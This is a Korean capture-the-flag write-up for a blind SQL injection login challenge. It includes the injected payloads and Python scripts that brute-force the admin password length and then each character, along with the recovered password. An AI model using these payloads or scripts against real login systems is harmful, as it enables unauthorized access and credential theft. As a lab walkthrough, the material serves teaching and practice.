Blind SQL injection 문제이다. 로그인을 시도할 때 나오는 결과는 다음의 세 가지가 있다.
- id:
AAAA
, pw:BBBB
- login fail - id:
guest
, pw:guest
- login success - id:
AAAA
, pw:'or''='
- wrong password
추측해보자면, 아마 로그인에 성공했지만 실제 패스워드와 입력한 패스워드가 다르면 wrong password가 뜨는 것 같다. 이를 이용하여 blind SQL injection 공격이 가능하다. 아마도 admin
의 패스워드를 구하면 될 것 같다.
Check pw column name
SQL 쿼리는 select id from user where id='XXX' and pw='XXX'
와 같이 구성되어 있을 것이다. 패스워드의 컬럼 이름이 pw
인지 확인하기 위하여 id에 guest
, pw에 ' or length(pw)=5#'
를 넣고 로그인을 시도하면 wrong password가 뜨는 것을 확인할 수 있다.
Get admin's pw
먼저 앞에서 guest
의 패스워드의 길이를 확인한 것과 같은 방법으로 admin
의 패스워드의 길이를 구한다.
# Get length of admin's pw
pw_len = 1
while True:
id = 'admin'
pw = f'%27+or+id%3D%27{id}%27+and+length%28pw%29%3d{pw_len}%23' # ' or id='{id}' and length(pw)={pw_len}#
res = requests.get(url + f'id={id}&pw={pw}', cookies=cookies)
if 'wrong password' in res.text:
break
pw_len += 1
print(f'[+] Length of admin\'s pw: {pw_len}')
처음에는 pw에 ' or length(pw)={pw_len}#
를 넣었었는데, 이렇게 했을 때는 admin
의 패스워드 길이가 5가 나왔고 패스워드를 구했으나 로그인이 되지 않았다. admin
에 대한 pw
의 길이만 보는 것이 아니라, 테이블에 있는 모든 pw
들 중 길이가 5인 것(guest
)이 있어서 그런 결과가 나온 것이다. 실제로 실행되는 쿼리는 추측과 약간 다른 것 같다.
$ python3 solve.py
[+] Length of admin's pw: 36
이제 한 글자씩 브루트포싱하여 admin
의 패스워드를 구한다.
# Get admin's pw
admin_pw = ''
chars = string.printable
for i in range(36):
for char in chars:
id = 'admin'
pw = f'%27+or+id%3D%27{id}%27+and+substr%28pw%2C+{i + 1}%2C+1%29%3D%27{char}%27%23' # ' or id='{id}' and substr(pw, {i + 1}, 1)='{char}'#
res = requests.get(url + f'id={id}&pw={pw}', cookies=cookies)
if 'wrong password' in res.text:
admin_pw += char
print(admin_pw)
break
print(f'[+] Admin\'s pw: {admin_pw}')
$ python3 solve.py
t
th
the
ther
there
there_
there_i
there_is
there_is_
there_is_n
there_is_no
there_is_no_
there_is_no_r
there_is_no_re
there_is_no_res
there_is_no_rest
there_is_no_rest_
there_is_no_rest_f
there_is_no_rest_fo
there_is_no_rest_for
there_is_no_rest_for_
there_is_no_rest_for_t
there_is_no_rest_for_th
there_is_no_rest_for_the
there_is_no_rest_for_the_
there_is_no_rest_for_the_w
there_is_no_rest_for_the_wh
there_is_no_rest_for_the_whi
there_is_no_rest_for_the_whit
there_is_no_rest_for_the_white
there_is_no_rest_for_the_white_
there_is_no_rest_for_the_white_a
there_is_no_rest_for_the_white_an
there_is_no_rest_for_the_white_ang
there_is_no_rest_for_the_white_ange
there_is_no_rest_for_the_white_angel
[+] Admin's pw: there_is_no_rest_for_the_white_angel
admin
으로 로그인하면 문제가 풀린다.
728x90